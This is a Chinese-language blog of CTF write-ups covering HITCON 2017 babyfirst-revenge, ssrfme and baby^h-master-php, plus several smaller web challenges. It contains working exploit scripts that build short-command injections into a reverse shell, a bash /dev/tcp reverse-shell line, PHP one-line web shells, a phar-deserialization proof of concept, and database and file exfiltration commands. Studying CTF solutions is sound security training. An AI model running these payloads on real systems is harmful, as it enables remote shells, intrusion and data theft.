i春秋第二届春秋欢乐赛 
Hello World 
题目内容:http://106.75.72.168:9999/ 
进去之后只有一个helloworld的页面,扫一下目录,发现.git
githack一下,看一下log,reset一下拿到源码
代码格式非常烂,找个美化工具美化一下,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php ini_set ("display_errors" , "Off" );error_reporting (0 );function  encode ($b , $c  = '' , $d  = 0  )  {    $e  = 4 ;     $c  = md5 ($c );     $f  = md5 (substr ($c , 0 , 16 ));     $g  = md5 (substr ($c , 16 , 16 ));     $h  = $e  ? ($k  == 'DECODE'  ? substr ($b , 0 , $e ) : substr (md5 (microtime ()) , -$e )) : '' ;     $l  = $f  . md5 ($f  . $h );     $m  = strlen ($l );     $b  = sprintf ('%010d' , $d  ? $d  + time () : 0 ) . substr (md5 ($b  . $g ) , 0 , 16 ) . $b ;     $n  = strlen ($b );     $o  = '' ;     $p  = range (0 , 255 );     $q  = array ();     for  ($r  = 0 ; $r  <= 255 ; $r ++) {         $q [$r ] = ord ($l [$r  % $m ]);     }     for  ($s  = $r  = 0 ; $r  < 256 ; $r ++) {         $s  = ($s  + $p [$r ] + $q [$r ]) % 256 ;         $t  = $p [$r ];         $p [$r ] = $p [$s ];         $p [$s ] = $t ;     }     for  ($u  = $s  = $r  = 0 ; $r  < $n ; $r ++) {         $u  = ($u  + 1 ) % 256 ;         $s  = ($s  + $p [$u ]) % 256 ;         $t  = $p [$u ];         $p [$u ] = $p [$s ];         $p [$s ] = $t ;         $o .= chr (ord ($b [$r ]) ^ ($p [($p [$u ] + $p [$s ]) % 256 ]));     }     return  $h  . str_replace ('=' , '' , base64_encode ($o )); } $c  = "flag_1s_n0t_h3re" ;$cipher  = "3133g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg" ; ?> 
 
读完发现是个rc4的加密
简要分析一下,代码将原来的内容进行了处理得到的部分进行rc4加密
1 $b  = sprintf ('%010d' , $d  ? $d  + time () : 0 ) . substr (md5 ($b  . $g ) , 0 , 16 ) . $b ;
 
而最后得出的结果是
1 return  $h  . str_replace ('=' , '' , base64_encode ($o ));
 
那么去掉$h的部分,然后加上padding再decode一下得到原来的内容,然后再加密一次即可.
我这里简单粗暴,直接把内容放在加密部分前面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php ini_set ("display_errors" , "Off" );error_reporting (0 );function  encode ($b , $c  = '' , $d  = 0  )  {    $e  = 4 ;     $c  = "flag_1s_n0t_h3re" ;     $c  = md5 ($c );     $f  = md5 (substr ($c , 0 , 16 ));     $g  = md5 (substr ($c , 16 , 16 ));     $h  = "3133" ;     $l  = $f  . md5 ($f  . $h );     $m  = strlen ($l );     $b  = sprintf ('%010d' , $d  ? $d  + time () : 0 ) . substr (md5 ($b  . $g ) , 0 , 16 ) . $b ;     $n  = strlen ($b );     $o  = '' ;     $p  = range (0 , 255 );     $q  = array ();     for  ($r  = 0 ; $r  <= 255 ; $r ++) {         $q [$r ] = ord ($l [$r  % $m ]);     }     for  ($s  = $r  = 0 ; $r  < 256 ; $r ++) {         $s  = ($s  + $p [$r ] + $q [$r ]) % 256 ;         $t  = $p [$r ];         $p [$r ] = $p [$s ];         $p [$s ] = $t ;     }     $b =base64_decode ("g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg==" );     for  ($u  = $s  = $r  = 0 ; $r  < $n ; $r ++) {         $u  = ($u  + 1 ) % 256 ;         $s  = ($s  + $p [$u ]) % 256 ;         $t  = $p [$u ];         $p [$u ] = $p [$s ];         $p [$s ] = $t ;         $o .= chr (ord ($b [$r ]) ^ ($p [($p [$u ] + $p [$s ]) % 256 ]));     }         return  $o ;      } $cipher  = "3133g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg" ;var_dump (encode (base64_decode ("g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg==" ),"flag_1s_n0t_h3re" ));?> 
 
然后拿到结果
1 0000000000ff37e751ba467c59flag is in flag.jsqö=ÈÔp–³¬–>O�ê:Üï(]¥ž 
 
发现内容flag is in flag.js 那么继续分析flag.js
格式依旧很烂,美化一下,然后发现最后有一段混淆,解一下,得到结果
重点关注解混淆的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 var  Key  = "7a57a5a743894a0e" ;CryptoJS .pad .Iso10126  = {    pad : function (data, blockSize ) {         var  blockSizeBytes = blockSize * 4 ;         var  nPaddingBytes = blockSizeBytes - data.sigBytes  % blockSizeBytes;         data.concat (CryptoJS .lib .WordArray .random (nPaddingBytes - 1 )).concat (CryptoJS .lib .WordArray .create ([nPaddingBytes << 24 ], 1 ))     },     unpad : function (data ) {         var  nPaddingBytes = data.words [(data.sigBytes  - 1 ) >>> 2 ] & 0xff ;         data.sigBytes  -= nPaddingBytes     } }; var  aesEncrypt = function (data, keyStr, ivStr ) {    var  sendData = CryptoJS .enc .Utf8 .parse (data);     var  key = CryptoJS .enc .Utf8 .parse (keyStr);     var  iv = CryptoJS .enc .Utf8 .parse (ivStr);     var  encrypted = CryptoJS .AES .encrypt (sendData, key, {         iv : iv,         mode : CryptoJS .mode .CBC ,         padding : CryptoJS .pad .Iso10126      });     return  CryptoJS .enc .Base64 .stringify (encrypted.ciphertext ) }; var  aesDecrypt = function (data, keyStr, ivStr ) {    var  key = CryptoJS .enc .Utf8 .parse (keyStr);     var  iv = CryptoJS .enc .Utf8 .parse (ivStr);     var  decrypted = CryptoJS .AES .decrypt (data, key, {         iv : iv,         mode : CryptoJS .mode .CBC ,         padding : CryptoJS .pad .Iso10126      });     return  decrypted.toString (CryptoJS .enc .Utf8 ) }; var  hint = "SSNRTPIuHLUxqtJmq8mDDPtexRU7RTjNO34tLqz+Tpw=" ;
 
发现是个aes-cbc,然后解密一下,但是发现iv未知,于是使用key作为iv
然后得到结果   然后并不知道要怎么处理了,不是很懂出题人.
看了别人的解法 
https://xhyeax.github.io/2019/01/26/icq-2nd-happy-rec/
别人用的git_extractor
然后diff拿flag,diff一下发现并不知道那个js的文件是真的flag,感觉出题人真的睿智...我是懒得去猜flag了...
HITCON2017 
babyfirst-revenge 
5字符命令执行
1 2 3 4 5 6 7 8 9 10 <?php     $sandbox  = '/www/sandbox/'  . md5 ("orange"  . $_SERVER ['REMOTE_ADDR' ]);     @mkdir ($sandbox );     @chdir ($sandbox );     if  (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 5 ) {         @exec ($_GET ['cmd' ]);     } else  if  (isset ($_GET ['reset' ])) {         @exec ('/bin/rm -rf '  . $sandbox );     }     highlight_file (__FILE__ ); 
 
本来想法是通过\来多次执行,不过似乎并不可以,exec()每次必定是执行一条完整的命令而不可以分割,所以只能找其他的方法
想了很久并没有想出来,去看了别人的wp,看到的思路大概就是通过重定向写文件,通过构造文件名来执行命令,知道大概的思路之后我就又开始踩坑了.
自己构造构造了很久都是失败,要么需要6个字符,要么少了空格,并没有办法,然后看了别人的wp,复现的时候发现居然还是失败,最无语的是,使用orange的官方wp中的payload居然也没能写出ls -t>g的命令...
不过其实这里是踩坑了,exec的执行和shell的执行似乎是不同的,我也不太理解为什么
先给出官方wp的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import  requestsfrom  time import  sleepfrom  urllib import  quotepayload = [          '>ls\\' ,      'ls>_' ,      '>\ \\' ,      '>-t\\' ,      '>\>g' ,      'ls>>_' ,           '>on' ,      '>th\\' ,      '>py\\' ,      '>\\\',       ' >tw\\',     ' >e.\\',      ' >ng\\',      ' >ra\\',      ' >o\\',      ' >\ \\',      ' >rl\\',      ' >cu\\',      # exec     ' sh _',      ' sh g',  ] r = requests.get(' http://52.199 .204 .34 /?reset=1 ') for i in payload:     assert len(i) <= 5      r = requests.get(' http://52.199 .204 .34 /?cmd=' + quote(i) )     print i     sleep(0.2) 
 
看到这里的前面部分
1 2 3 4 5 6 7 # generate `ls -t>g` file '>ls\\',  'ls>_',  '>\ \\',  '>-t\\',  '>\>g',  'ls>>_',  
 
在shell中直接执行结果是这样的  
不过当我们直接curl或者网页访问之后结果又不一样  
玄学原因,如果有知道原理的可以发邮件给我,或者加我qq或者留言都行,非常感谢
然后踩的第二个坑是shell中创建s \的文件和curl创建也是不一样的
这个本来有个payload
1 2 3 4 5 6 > -t\ >\>q > l\ >s\ \ ls >als> >a 
 
不过也是这里踩坑了失败了,本来以为要六个字符,其实5个就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ curl 'http://127.0.0.1?cmd=>s\%20\' #  返回网页 blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ ls 's \' blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ sudo su root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# >s\ \ > root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls  's '  's \' root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# rm ./* root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# >s\ \\ root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls 's \' root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# 
 
curl用到的payload进行urldecode后有5个字符
即?cmd=>s\ \即可创建出s(空格)文件
但是shell执行需要6个字符
即>s\ \\才能创建出s(空格)文件
注意到这些就可以很容易的写出ls -t>g这种类似的命令
能够创建这个命令的话,后续只用反过来把反弹shell的命令写入即可拿到shell
不过弹shell的时候又碰到问题,执行的命令里面不可包含/字符,所以我们不能用传统的反弹shell,而且curl的话不可以包含路径,所以这里我搭了一个docker,然后再去访问拿到shell,这里还要注意创建的文件的名称不可以重复,否则只会创建一次,就会导致命令执行失败
给个简易exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import  requestsfrom  time import  sleepfrom  urllib import  quotepayload = [          '>ls\\' ,      'ls>_' ,      '>\ \\' ,      '>-t\\' ,      '>\>g' ,      'ls>>_' ,     '>bash'  ] cmd='curl your_ip:your_port'  target='117.50.3.97:8001'  cmd=list (cmd) while  len (cmd)!=0 :    first=cmd.pop()     if  len (cmd)!=0 :         second=cmd.pop()         if  second in  ['$' , '\\' , '`' , '\'' , '\"' , ' ' , '>' , '<' , ';' , '*' , '?' , '/' , '' ]:             cmd.append(second)             if  first in  ['$' , '\\' , '`' , '\'' , '\"' , ' ' , '>' , '<' , ';' , '*' , '?' , '/' , '' ]:                 payload.append('>\\'  + first + '\\' )             else :                 payload.append('>'  + first + '\\' )         else :             res='' +second             if  first in  ['$' , '\\' , '`' , '\'' , '\"' , ' ' , '>' , '<' , ';' , '*' , '?' , '/' , '' ]:                 res+='\\' +first             else :                 res+=first             payload.append('>'  + res + '\\' )     else :         if  first in  ['$' , '\\' , '`' , '\'' , '\"' , ' ' , '>' , '<' , ';' , '*' , '?' , '/' , '' ]:             payload.append('>\\'  + first + '\\' )         else :             payload.append('>'  + first + '\\' ) payload.append('sh _' ) payload.append('sh g' ) r = requests.get('http://'  + target + '/?reset=1' ) for  i in  payload:    assert  len (i) <= 5       r = requests.get('http://'  + target + '/?cmd='  + quote(i) )     print  i     sleep(0.5 ) 
 
然后拿到shell   然后在home下面找到信息
1 2 Flag is in the MySQL database fl4444g / SugZXUtgeJ52_Bvr 
 
那么再去连接mysql就可以了
不过这里连接mysql是不能直接和mysql进行通信的,所以我们将和mysql交互的结果导出到文件
 
即拿到flag
infosec的方法 
这个比较厉害,不过在ichunqiu的环境复现不了,因为ichunqiu的web目录是/var/www/html/但是/www/sandbox并没有进行配置,所以我们无法获取到我们导出的文件,只能对其进行操作.不过思路确实很棒,学习一下
假设我们可以访问到文件的话,那么我们可以
1 2 curl 'http://52.199.204.34/?cmd=>find' curl 'http://52.199.204.34/?cmd=*%20/>x' 
 
然后即可把所有的文件导出到x,下载x查看所有文件,发现特殊文件
1 /home/fl4444g/README.txt 
 
然后用tar命令打包
1 2 3 4 curl 'http://52.199.204.34/?cmd=>tar' curl 'http://52.199.204.34/?cmd=>zcf' curl 'http://52.199.204.34/?cmd=>zzz' curl 'http://52.199.204.34/?cmd=*%20/h*' 
 
这个执行了命令
 
下载之后同样发现flag在数据库,这里infosec师傅的方法就很厉害了
1 2 3 4 5 6 7 8 9 cat << EOF >> exploit.php <?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?> EOF curl 'http://52.199.204.34/?reset=1' curl 'http://52.199.204.34/?cmd=>tar' curl 'http://52.199.204.34/?cmd=>vcf' curl 'http://52.199.204.34/?cmd=>z' curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A' curl 'http://52.199.204.34/?cmd=php%20z' 
 
因为传文件过去的时候,文件会存在/tmp目录下
先创建tar,vcf,z 然后执行* /t* 也就是
 
拿到php文件后
 
即可执行命令然后去下载dump.sql即可拿到flag
babyfirst-revenge-v2 
1 2 3 4 5 6 7 8 9 10 <?php     $sandbox  = '/www/sandbox/'  . md5 ("orange"  . $_SERVER ['REMOTE_ADDR' ]);     @mkdir ($sandbox );     @chdir ($sandbox );     if  (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 4 ) {         @exec ($_GET ['cmd' ]);     } else  if  (isset ($_GET ['reset' ])) {         @exec ('/bin/rm -rf '  . $sandbox );     }     highlight_file (__FILE__ ); 
 
这个是4字符命令执行,那么我们的ls -t>g的构造就要另找办法了,官方wp是使用逆序
 
这样我们用*之后就可以得到
 
然后只用
 
那么x中就是ls -th>g了 其他的差不多了
自己的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import  requestsfrom  time import  sleepfrom  urllib import  quotepayload = [          '>dir' ,      '>sl' ,      '>g\>' ,     '>ht-' ,     '*>v' ,     '>rev' ,     '*v>x' ,     '>sh' ,     '>ba\\' ,     '>\\\',      ' >14 \\',     ' >67 \\',     ">:\\",     ' >cn\\',     ' >p.\\',     ' >e\\',     ' >he\\',     ' >cs\\',     ' >la\\',     ' >b\\',     ' >\ \\',     ' >rl\\',     ' >cu\\' ] target=' 117.50 .3 .97 :8002 ' payload.append(' sh x') payload.append(' sh g') r = requests.get(' http://' + target + ' /?reset=1 ') for i in payload:     assert len(i) <= 4      r = requests.get(' http://' + target + ' /?cmd=' + quote(i) )     print i     sleep(0.5) 
 
同样拿到shell,同样的方法拿到flag
ssrfme 
1 2 3 4 5 6 7 8 9 10 11 12 <?php      $sandbox  = "sandbox/"  . md5 ("orange"  . $_SERVER ["REMOTE_ADDR" ]);      @mkdir ($sandbox );      @chdir ($sandbox );      $data  = shell_exec ("GET "  . escapeshellarg ($_GET ["url" ]));      $info  = pathinfo ($_GET ["filename" ]);      $dir   = str_replace ("." , "" , basename ($info ["dirname" ]));      @mkdir ($dir );      @chdir ($dir );      @file_put_contents (basename ($info ["basename" ]), $data );      highlight_file (__FILE__ );  
 
这里有个GET命令,使用了一下,发现是发送请求的命令,那么显然存在一个ssrf.
进一步分析,发现可以在sandbox中写入任意文件,但是思索一番还是找不到getshell的方法
看了wp之后,发现是GET这个命令的问题  
追根溯源,发现其实是perl的open的任意命令执行的问题 举个例子  
而GET中有调用到open函数,也就导致了命令执行
不过要注意,ssrf请求文件的时候文件必须存在,不过这里很好解决,因为可以创建任意文件
最终payload
1 2 3 curl 'http://117.50.3.97:8004/?url=your_ip:port&filename=abc' curl 'http://117.50.3.97:8004/?url=&filename=bash%20abc' curl 'http://117.50.3.97:8004/?url=file:bash%20abc&filename=xxx' 
 
其中服务器上面放放反弹shell的命令
1 bash -i >& /dev/tcp/your_vps/port 0>&1 
 
然后nc收到shell,根目录找到flag 
baby^h-master-php-2017 
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php     $FLAG     = create_function ("" , 'die(`/read_flag`);' );     $SECRET   = `/read_secret`;     $SANDBOX  = "/var/www/data/"  . md5 ("orange"  . $_SERVER ["REMOTE_ADDR" ]);      @mkdir ($SANDBOX );     @chdir ($SANDBOX );     if  (!isset ($_COOKIE ["session-data" ])) {         $data  = serialize (new  User ($SANDBOX ));         $hmac  = hash_hmac ("sha1" , $data , $SECRET );         setcookie ("session-data" , sprintf ("%s-----%s" , $data , $hmac ));     }     class  User   {         public  $avatar ;         function  __construct ($path  )  {             $this ->avatar = $path ;         }     }     class  Admin  extends  User   {         function  __destruct ( ) {             $random  = bin2hex (openssl_random_pseudo_bytes (32 ));             eval ("function my_function_$random () {"                  ."  global \$FLAG; \$FLAG();"                  ."}" );             $_GET ["lucky" ]();         }        }     function  check_session ( )  {         global  $SECRET ;         $data  = $_COOKIE ["session-data" ];         list ($data , $hmac ) = explode ("-----" , $data , 2 );         if  (!isset ($data , $hmac )  !is_string ($data )  !is_string ($hmac ))             die ("Bye" );         if  ( !hash_equals (hash_hmac ("sha1" , $data , $SECRET ), $hmac ) )             die ("Bye Bye" );         $data  = unserialize ($data );         if  ( !isset ($data ->avatar) )             die ("Bye Bye Bye" );         return  $data ->avatar;     }     function  upload ($path  )  {         $data  = file_get_contents ($_GET ["url" ] . "/avatar.gif" );         if  (substr ($data , 0 , 6 ) !== "GIF89a" )             die ("Fuck off" );         file_put_contents ($path  . "/avatar.gif" , $data );         die ("Upload OK" );     }     function  show ($path  )  {         if  ( !file_exists ($path  . "/avatar.gif" ) )             $path  = "/var/www/html" ;         header ("Content-Type: image/gif" );         die (file_get_contents ($path  . "/avatar.gif" ));     }     $mode  = $_GET ["m" ];     if  ($mode  == "upload" )         upload (check_session ());     else  if  ($mode  == "show" )         show (check_session ());     else          highlight_file (__FILE__ ); 
 
分析一下代码,发现是个反序列化的题,仔细分析一下,首先发现check_session()中有个反序列化,不过前面有两个判断,即对data进行密钥hash然后判断,如果不同则直接die,然而我们并不知道secret,所以这里的反序列化并没有用
那么攻击点是什么呢?这里是orange的一个0day
1 php在解析phar对象的时候会反序列化metadata 
 
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if (count ($argv ) > 1 ) {    @readfile ("phar://./deser.phar" );     exit ; } class  Hui   {    function  __destruct ( )  {         echo  "PWN\n" ;     } } @unlink ('deser.phar' ); try  {    $p  = new  Phar (dirname (__FILE__ ) . '/deser.phar' , 0 );     $p ['file.txt' ] = 'test' ;     $p ->setMetadata (new  Hui ());     $p ->setStub ('<?php __HALT_COMPILER(); ?>' ); } catch  (Exception  $e ) {     echo  'Could not create and/or modify phar:' , $e ; } ?> 
 
注意提前把php.ini里面的phar的readonly改成off,不然会创建失败
底层代码https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609 
 
当用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象中的metadata反序列化,也就能构造一个我们想要的类了
给一个p师傅的poc
1 2 3 4 5 6 7 8 9 10 <?php class  Admin   {    public  $avatar  = 'orz' ;   }  $p  = new  Phar (__DIR__  . '/avatar.phar' , 0 );$p ['file.php' ] = '<?php ?>' ;$p ->setMetadata (new  Admin ());$p ->setStub ('GIF89a<?php __HALT_COMPILER(); ?>' );rename (__DIR__  . '/avatar.phar' , __DIR__  . '/avatar.gif' );?> 
 
构造出反序列化的admin对象之后,新的问题是
1 $FLAG     = create_function ("" , 'die(`/read_flag`);' );
 
这里create_function没有函数名称,所以被设置成了\x00lambda_%d这里的%d每次+=1
不过这里%d会一直增大到最大长度直到结束,我们可以通过大量请求让pre-fork模式启动从而创建新的线程,这样%d就被刷新为1了,那么就成功预测了
整个攻击过程
首先运行脚本生成一个avatar文件,其中的metadata设置成要反序列化的类,生成一个avatar.gif,放到服务器上,然后upload上去
 
然后测试一下phpinfo
1 http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/bc571eef5a23ff081aa7adc9b5f43d08&lucky=phpinfo 
 
得到结果  
那么函数设置成%00lambda_1然后开多线程请求   拿到flag
第三届“百越杯”福建省高校网络空间安全大赛 
Do you know upload? 
进去发现是个上传页面,尝试hitcon的avatar.gif发现上传成功,然而里面有php的代码,于是改成一句话,burp抓包改后缀上传发现上传成功
 
发现居然还有个包含漏洞,不过无所谓了,查看一下2.php,发现成功解析,就直接getshell了
进去发现config.php
1 2 3 4 5 6 7 <?php error_reporting (0 );session_start ();$servername  = "localhost" ;$username  = "ctf" ;$password  = "ctfctfctf" ;$database  = "ctf" ;
 
连接数据库,发现flag 
2017第二届广东省强网杯线上赛 
broken 
进去发现jsfuck页面,复制解密,发现错误,check一下,发现少了一个],添加上再解密,发现还是报错,类型错误,并不是函数,那么去掉最后的两个括号,再解密,得到结果
1 ["var flag="flag{f_f_l_u_a_c_g_k}";alert('flag is not here');"] 
 
即拿到flag
who are you 
进去发现no permissions 看下cookie,发现Zjo1OiJ0aHJmZyI7
base解一下,发现是f:5:"thrfg";
然后thrfg是guest的rot13,那么把admin的rot13传进去然后base一下进去发现
1 2 3 4 5 6 7 8 <!DOCTYPE html> <html> <head>     <title></title> </head> <body> <!-- $filename  = $_POST ['filename' ]; $data  = $_POST ['data' ]; -->Hello admin, now you can upload something you are easy to forget.</body> </html> 
 
那么
1 filename=1.php&data=<?php system($_GET['a'])?> 
 
然后访问
1 http://106.75.72.168:2222/uploads/1.php 
 
拿到flag
1 flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}